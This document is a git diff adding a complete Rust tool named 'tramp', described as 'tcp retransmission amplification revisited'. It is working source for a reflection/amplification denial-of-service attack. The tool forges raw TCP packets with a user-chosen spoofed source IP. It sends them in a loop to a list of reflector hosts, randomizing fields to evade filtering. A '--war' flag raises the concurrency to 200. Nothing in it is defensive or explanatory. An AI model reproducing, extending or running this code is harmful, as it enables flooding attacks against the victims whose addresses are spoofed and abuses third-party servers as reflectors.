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index 0000000..c412df9 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,11 @@ +[package] +name = "tramp" +version = "0.1.0" +edition = "2021" + +[dependencies] +clap = { version = "4.5.26", features = ["derive"] } +futures = "0.3.31" +pnet = "0.35.0" +tokio = { version = "1.43.0", features = ["sync", "fs", "io-util", "rt", "rt-multi-thread", "macros", "time"] } +rand = "0.8" diff --git a/README.md b/README.md new file mode 100644 index 0000000..13538a4 --- /dev/null +++ b/README.md @@ -0,0 +1 @@ +tcp retransmission amplification revisited \ No newline at end of file diff --git a/src/common/args.rs b/src/common/args.rs new file mode 100644 index 0000000..a527471 --- /dev/null +++ b/src/common/args.rs @@ -0,0 +1,32 @@ +use clap::Parser; + +#[derive(Parser)] +pub struct Params { + /// source ip + #[arg(short = 's', long = "source")] + pub source: String, + + /// file containing ip:port list of reflectors + #[arg(short = 'f', long = "file")] + pub file: String, + + /// source port + #[arg(short = 'p', long = "port")] + pub port: u16, + + /// operation timeout in seconds + #[arg(short = 't', long = "timeout", default_value = "-1")] + pub timeout: i32, + + /// one iteration across reflectors + #[arg(short = '1', default_value = "false")] + pub one_iteration: bool, + + /// ;) + #[arg(long = "war", default_value = "false")] + pub war: bool, +} + +pub fn parse_args() -> Params { + Params::parse() +} \ No newline at end of file diff --git a/src/common/console.rs b/src/common/console.rs new file mode 100644 index 0000000..63d6a83 --- /dev/null +++ b/src/common/console.rs @@ -0,0 +1,6 @@ +use std::process; + +pub fn fatal(msg: String) -> ! { + eprintln!("fatal: {}", msg); + process::exit(-1); +} \ No newline at end of file diff --git a/src/common/exec.rs b/src/common/exec.rs new file mode 100644 index 0000000..c73cbed --- /dev/null +++ b/src/common/exec.rs @@ -0,0 +1,41 @@ +use futures::stream::{self, StreamExt}; +use std::{ + fs::File, + io::{BufRead, BufReader, Seek}, + process::exit, +}; + +use super::args::Params; +use super::console::fatal; +use super::net::*; + +pub async fn alarm(secs: u64) -> ! { + tokio::time::sleep(tokio::time::Duration::from_secs(secs)).await; + exit(1); +} + +pub async fn blaster(params: &Params) { + let mut ref_file = File::open(¶ms.file) + .unwrap_or_else(|e| fatal(format!("unable to read reflector file: {e}"))); + + loop { + ref_file.seek(std::io::SeekFrom::Start(0)) + .unwrap_or_else(|e| fatal(format!("unable to seek file: {e}"))); + let buf = BufReader::new(&ref_file); + + // seq # and ip id randomization per iteration + let catchmeifyoucan: u32 = random_field(); + + stream::iter(buf.lines()).for_each_concurrent(if params.war { 200 } else { 10 }, |line| { + async move { + if let Ok(reflector) = Reflector::from_str(line.unwrap_or_else(|e| fatal(format!("error attempting buffered line read: {e}"))).trim()) { + transmit(¶ms.source, params.port, reflector, catchmeifyoucan); + } + } + }).await; + + if params.one_iteration { + break; + } + } +} diff --git a/src/common/mod.rs b/src/common/mod.rs new file mode 100644 index 0000000..8b2855d --- /dev/null +++ b/src/common/mod.rs @@ -0,0 +1,4 @@ +pub mod args; +pub mod console; +pub mod exec; +pub mod net; \ No newline at end of file diff --git a/src/common/net.rs b/src/common/net.rs new file mode 100644 index 0000000..3279229 --- /dev/null +++ b/src/common/net.rs @@ -0,0 +1,99 @@ +use pnet::transport::{transport_channel, TransportChannelType}; +use pnet::packet::ip::IpNextHeaderProtocols; +use pnet::packet::tcp::MutableTcpPacket; +use pnet::packet::ipv4::{MutableIpv4Packet, Ipv4Packet}; +use pnet::packet::Packet; +use rand::Rng; +use std::net::{Ipv4Addr, IpAddr}; + +use super::console::fatal; + +pub struct Reflector { + pub ip: String, + pub port: u16, +} + +impl Reflector { + pub fn from_str(refstr: &str) -> Result { + let parts: Vec<&str> = refstr.split(':').collect(); + let ip = parts[0].to_string(); + let port: u16 = parts[1].parse().unwrap_or(0); + + if port == 0 { + return Err(format!("invalid port \"{}\" in {}", parts[1], refstr)); + } + + Ok(Self {ip, port}) + } +} + +pub fn random_field() -> u32 { + let mut rng = rand::thread_rng(); + rng.gen() +} + +pub fn mkpacket4(saddr: &str, sport: u16, daddr: &str, dport: u16, seed: u32) -> Result, Box> { + let mut ipbuf = vec![0u8; 40]; + let mut iph = MutableIpv4Packet::new(&mut ipbuf).ok_or_else(|| "unable to create ipv4 packet")?; + + let saddr: Ipv4Addr = saddr.parse()?; + let daddr: Ipv4Addr = daddr.parse()?; + + iph.set_version(4); + iph.set_header_length(5); + iph.set_total_length(40); + iph.set_identification(seed as u16); + iph.set_flags(0); + iph.set_ttl(255); + iph.set_next_level_protocol(IpNextHeaderProtocols::Tcp); + iph.set_source(saddr); + iph.set_destination(daddr); + + let mut tcpbuf = vec![0u8; 20]; + let mut tcph = MutableTcpPacket::new(&mut tcpbuf).unwrap(); + + tcph.set_source(sport); + tcph.set_destination(dport); + tcph.set_sequence(seed); + tcph.set_acknowledgement(0); + tcph.set_data_offset(5); + tcph.set_flags(10); // SYN + PSH + tcph.set_window(65535); + tcph.set_urgent_ptr(0); + + let checksum = pnet::packet::tcp::ipv4_checksum(&tcph.to_immutable(), &saddr, &daddr); + tcph.set_checksum(checksum); + + let mut packet = vec![0u8; 40]; + packet[..20].copy_from_slice(&iph.packet()[..20]); + packet[20..].copy_from_slice(tcph.packet()); + + Ok(packet) +} + +pub fn send(packet_bytes: Vec) -> Result<(), Box> { + let packet = Ipv4Packet::owned(packet_bytes).ok_or_else(|| "error reading packet bytes back into type")?; + + let (mut sender, _) = transport_channel(packet.packet().len(), TransportChannelType::Layer3(IpNextHeaderProtocols::Tcp))?; + + sender.send_to(&packet, IpAddr::V4(packet.get_destination()))?; // could check if # bytes sent matches packet len for integrity + Ok(()) +} + +pub fn transmit(source: &str, port: u16, r: Reflector, seed: u32) { + if let Ok(pkt) = mkpacket4(source, port, &r.ip, r.port, seed) { + match send(pkt) { + Ok(_) => { + // println!("transmitted to reflector {}:{}", r.ip, r.port); + } + Err(e) => { + if e.to_string().contains("permitted") { + fatal("unable to transmit over raw socket, are you root?".to_string()); + } + println!("error transmitting to reflector {}:{}: {}", r.ip, r.port, e); + }, + } + } else { + println!("error creating packet for reflector {}:{}", r.ip, r.port); + } +} diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..7ae14a9 --- /dev/null +++ b/src/main.rs @@ -0,0 +1,13 @@ +mod common; + +use common::args; +use common::exec::{alarm, blaster}; + +#[tokio::main] +async fn main() { + let params = args::parse_args(); + if params.timeout > 0 { + tokio::spawn(alarm(params.timeout as u64)); + } + blaster(¶ms).await; +}